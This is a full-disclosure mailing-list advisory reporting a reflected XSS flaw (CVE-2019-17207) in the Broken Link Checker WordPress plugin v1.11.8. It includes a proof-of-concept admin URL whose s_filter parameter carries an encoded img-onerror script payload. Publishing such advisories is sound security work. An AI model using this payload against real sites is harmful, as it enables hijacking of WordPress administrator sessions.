full-disclosure - [FD] Reflected XSS via Broken Link Checker v.1.11.8 WordPress Plugin

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Message-ID: <CAM+tmNWoRknxxhSdM6Yg=91PDQHpoqcTTBX2HL+3oxw4gDGzgQ@mail.gmail.com>
Date: Mon, 14 Oct 2019 22:20:43 -0700
From: Ismail Doe <ismail.sec.dev@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflected XSS via Broken Link Checker v.1.11.8 WordPress Plugin

Document Title
===============
Reflected XSS via `Broken Link Checker` v.1.11.8 WordPress plugin.

Product Description
===============
Broken Link Checker will monitor your blog looking for broken links and let
you know if any are found.

Homepage: https://managewp.com/
WordPress Plugin: https://wordpress.org/plugins/broken-link-checker/

PoC
===============

1) Login to your wordpress webpage
2) Navigate to the following page (Make sure the `s_link_text` parameter
returns a valid link on your blog:

http://localhost:8889/wp-admin/tools.php?page=view-broken-links&filter_id=search&s_link_text=word&s_link_url&s_http_code&s_filter=%27%3E%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(1337)%3E&s_link_type&search_button=Search+Links

3) Note the form alerts and the payload within the `s_filter` parameter
executed.

CVE-2019-17207

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